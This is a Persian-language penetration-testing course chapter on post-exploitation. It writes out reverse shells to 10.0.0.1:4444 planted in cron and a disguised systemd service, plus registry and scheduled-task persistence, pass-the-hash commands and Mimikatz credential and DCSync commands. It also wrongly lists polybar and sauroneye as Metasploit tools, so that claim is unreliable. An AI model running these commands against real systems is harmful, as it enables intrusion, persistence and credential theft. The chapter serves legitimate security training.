فصل ۹: پس از استثمار
ارتقاء امتیاز در لینوکس و ویندوز (SUID، sudo، cron، kernel exploit، unquoted service path)، مکانیزمهای تثبیت، حرکت جانبی با pass-the-hash و pass-the-ticket، استخراج داده و Mimikatz.
پس از استثمار چیست؟
پس از استثمار (Post-Exploitation) مرحلهای است که پس از بهدست آوردن دسترسی اولیه به یک سیستم شروع میشود. در این مرحله، تستر به سه پرسش بنیادی پاسخ میدهد: این سیستم چه ارزشی دارد؟ تا کجا میتوان رفت؟ چگونه میتوان دسترسی را نگه داشت؟
این مرحله شامل چهار فعالیت اصلی است:
۱. جمعآوری اطلاعات محلی: چه کاربری هستیم؟ چه دسترسیهایی داریم؟ چه سرویسهایی فعال است؟ ۲. ارتقاء امتیاز (Privilege Escalation): تبدیل دسترسی کاربر عادی به root یا Administrator. ۳. تثبیت (Persistence): اطمینان از اینکه دسترسی پس از ریبوت یا خروج حفظ میشود. ۴. حرکت جانبی (Lateral Movement): استفاده از دسترسی فعلی برای نفوذ به سیستمهای دیگر در شبکه.
ارتقاء امتیاز در لینوکس
یافتن باینریهای SUID
باینریهای SUID با امتیاز مالک فایل (اغلب root) اجرا میشوند. اگر باینری SUID آسیبپذیر باشد یا امکان اجرای دستور با آن باشد، مسیر مستقیمی به root است.
# یافتن همه باینریهای SUID
find / -perm -4000 2>/dev/null
# یافتن باینریهای SGID
find / -perm -2000 2>/dev/null
# یافتن فایلهای قابل نوشتن غیرعادی
find / -writable -type d 2>/dev/nullپس از یافتن باینری، باید در پایگاههایی مانند GTFOBins بررسی کنید که آیا امکان سوءاستفاده وجود دارد. بهعنوان مثال find، python، vim و nmap در حالت SUID همگی میتوانند به root منجر شوند.
بررسی پیکربندی sudo
# لیست دسترسیهای sudo کاربر فعلی
sudo -l
# خروجی ممکن:
# User user1 may run the following commands on host:
# (ALL) NOPASSWD: /usr/bin/vimاگر کاربر بتواند بدون رمز برنامهای مانند vim یا less را با sudo اجرا کند، میتواند با :!sh از داخل آنها shell با امتیاز root بگیرد.
Cron Jobs و مسیرهای ضعیف
# بررسی cron jobهای سیستم
cat /etc/crontab
ls -la /etc/cron.*
# یافتن اسکریپتهایی که با root اجرا میشوند اما قابل نوشتن هستند
find / -writable -type f -exec ls -la {} \; 2>/dev/nullاگر یک اسکریپت cron با root اجرا میشود و قابل نوشتن توسط کاربر عادی است، میتوان خطی مانند bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 به آن اضافه کرد تا reverse shell با root اجرا شود.
Kernel Exploit
اگر هیچ مسیر متداولی نبود، میتوان از آسیبپذیریهای کرنل استفاده کرد:
# مشاهده نسخه کرنل
uname -a
# جستجوی اکسپلویت
searchsploit linux kernel 5.4
# مثال معروف: DirtyCow (CVE-2016-5195)
searchsploit dirty cowخطر kernel exploit
اکسپلویتهای کرنل میتوانند باعث کرش کامل سیستم یا پاک شدن داده شوند. هرگز روی سرور تولیدی بدون هماهنگی با مشتری اجرا نکنید. در OSCP از استفاده kernel exploit در امتحان نهایی پرهیز میشود مگر اینکه هیچ راه دیگری نباشد.
ارتقاء امتیاز در ویندوز
مسیر سرویس بدون کوتیشن (Unquoted Service Path)
اگر مسیر اجرایی یک سرویس دارای فاصله باشد و داخل کوتیشن نباشد، ویندوز مسیرها را از چپ به راست امتحان میکند. بهعنوان مثال مسیر C:\Program Files\My Service\svc.exe به ترتیب C:\Program.exe، C:\Program Files\My.exe و سپس مسیر اصلی را امتحان میکند. اگر بتوانید در یکی از این مسیرها فایل اجرایی قرار دهید، آن با امتیاز سرویس اجرا میشود.
# یافتن سرویسهای دارای مسیر بدون کوتیشن
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows"
# با PowerUp (PowerShell)
Import-Module .\PowerUp.ps1
Invoke-AllChecksDLL Hijacking
اگر برنامهای بهدنبال DLL در مسیرهای قابل نوشتن بگردد، میتوان یک DLL مخرب با همان نام در آن مسیر قرار داد. این روش اغلب در برنامههای قدیمی یا سرویسهایی که در مسیر کاربر اجرا میشوند موفق است.
Token Impersonation
اگر کاربر دارای امتیاز SeImpersonatePrivilege باشد، میتواند توکن فرایندهای سطح بالا (مانند IIS یا SQL Server) را جعل کند. ابزارهایی مانند JuicyPotato، RoguePotato و PrintSpoofer این حمله را اتوماسیون میکنند.
| تکنیک | پلتفرم | پیشنیاز |
|---|---|---|
| SUID binaries | لینوکس | باینری SUID قابل سوءاستفاده |
| sudo misconfig | لینوکس | دسترسی sudo محدود |
| Cron job | لینوکس | اسکریپت قابل نوشتن |
| Kernel exploit | لینوکس | کرنل آسیبپذیر |
| Unquoted service path | ویندوز | مسیر بدون کوتیشن + قابل نوشتن |
| DLL hijacking | ویندوز | مسیر قابل نوشتن در PATH |
| Token impersonation | ویندوز | SeImpersonatePrivilege |
| AlwaysInstallElevated | ویندوز | تنظیم فعال در رجیستری |
مکانیزمهای تثبیت (Persistence)
پس از ارتقاء امتیاز، باید اطمینان حاصل کنید که دسترسی پس از ریبوت باقی میماند.
تثبیت در لینوکس
# ۱. افزودن کلید SSH به root
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAA..." >> /root/.ssh/authorized_keys
# ۲. ایجاد cron job معکوس
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" >> /etc/crontab
# ۳. ایجاد سرویس systemd
cat > /etc/systemd/system/persist.service << 'EOF'
[Unit]
Description=Update Service
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable persist.serviceتثبیت در ویندوز
# ۱. کلید رجیستری Run
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Update /t REG_SZ /d "C:\malware\update.exe" /f
# ۲. Scheduled Task
schtasks /create /tn "Update" /tr "C:\malware\update.exe" /sc onstart /ru System
# ۳. سرویس ویندوز
sc create Update binPath= "C:\malware\update.exe" start= autoحرکت جانبی (Lateral Movement)
پس از تثبیت، تستر به دنبال گسترش دسترسی به سیستمهای دیگر شبکه است.
Pass-the-Hash
اگر هش NTLM یک کاربر را داشته باشید، میتوانید بدون نیاز به رمز متنی، بهعنوان آن کاربر احراز هویت کنید.
# با CrackMapExec
crackmapexec smb 192.168.1.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# با Impacket psexec
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 Administrator@192.168.1.20Pass-the-Ticket
در محیط Active Directory، اگر تیکت Kerberos یک کاربر را استخراج کنید، میتوانید آن را در حافظه سیستم دیگری بارگذاری کرده و بهعنوان آن کاربر عمل کنید.
# استخراج تیکت با Mimikatz
mimikatz # sekurlsa::tickets /export
# بارگذاری تیکت در سیستم دیگر
mimikatz # kerberos::ptt [0;12345]-2-0-0-1234567890-admin@krbtgt-CORP.LOCAL.kirbiPivoting
هنگامی که به سیستمی دسترسی دارید که به زیرشبکه دیگری متصل است، میتوانید از آن بهعنوان پرش (pivot) استفاده کنید. ابزارهایی مانند chisel، ligolo-ng و ssh -D تونل SOCKS ایجاد میکنند.
Mimikatz برای استخراج اعتبارنامه
# استخراج رمزهای عبور در حافظه
mimikatz # sekurlsa::logonpasswords
# استخراج هشهای SAM
mimikatz # lsadump::sam
# استخراج تیکتهای Kerberos
mimikatz # sekurlsa::tickets
# DCSync (نیازمند DCAdmin)
mimikatz # lsadump::dcsync /domain:corp.local /user:Administratorپاکسازی و پنهانسازی
در پایان هر تست، اطمینان حاصل کنید که همه بکدورها، کلیدهای SSH، سرویسها و فایلهای موقت پاک شدهاند. در گزارش، مرحله cleanup را بهطور شفاف ذکر کنید. ابزارهایی مانند polybar و sauroneye در Metasploit برای کشف اثرهای باقیمانده به کار میآیند. مشتری باید بداند که هیچ اثر مخربی باقی نمانده است.
استخراج داده (Data Exfiltration)
دریافت داده از شبکه هدف بدون شناسایی، یکی از مهمترین مراحل پس از استثمار است.
- DNS Tunneling: ارسال داده در کوئریهای DNS به دامنه کنترلشده توسط مهاجم. ابزارهای
dnscat2وiodine. - ICMP Tunneling: پنهان کردن داده در پکتهای ping. ابزار
icmp-tunnel. - HTTPS Exfiltration: ارسال داده به یک سرور HTTPS قانونی بهنظر میرسد. ابزار
powercatیا اسکریپتهای PowerShell سفارشی.
تمرین عملی — ارتقاء امتیاز
یک ماشین مجازی لینوکسی (مانند Metasploitable 2 یا یک VM از HackTheBox) راه بیندازید و این مراحل را دنبال کنید:
# ۱. شناسایی کاربر فعلی
id
whoami
uname -a
# ۲. یافتن SUID
find / -perm -4000 2>/dev/null
# ۳. بررسی sudo
sudo -l
# ۴. جستجوی kernel exploit
searchsploit linux kernel $(uname -r | cut -d- -f1)
# ۵. بررسی cron
cat /etc/crontab
ls -la /etc/cron.*خلاصه و گام بعدی
در این فصل با چهار رکن پس از استثمار آشنا شدید: جمعآوری اطلاعات، ارتقاء امتیاز (با SUID، sudo، cron، kernel در لینوکس و unquoted path، DLL hijacking و token impersonation در ویندوز)، تثبیت (با cron، SSH keys، systemd، رجیستری Run و scheduled tasks) و حرکت جانبی (pass-the-hash، pass-the-ticket و pivoting). Mimikatz همچنان قدرتمندترین ابزار استخراج اعتبارنامه در ویندوز است.
در فصل بعد، با سرریز بافر آشنا میشوید؛ جایی که با ساختار حافظه، زنجیره NOP و کد پوسته بهصورت عملی درگیر میشوید و مکانیزمهای دفاعی مانند ASLR و DEP را بررسی میکنید.
این صفحه در تاریخ ۸ تیر ۱۴۰۵ بهروزرسانی شده است.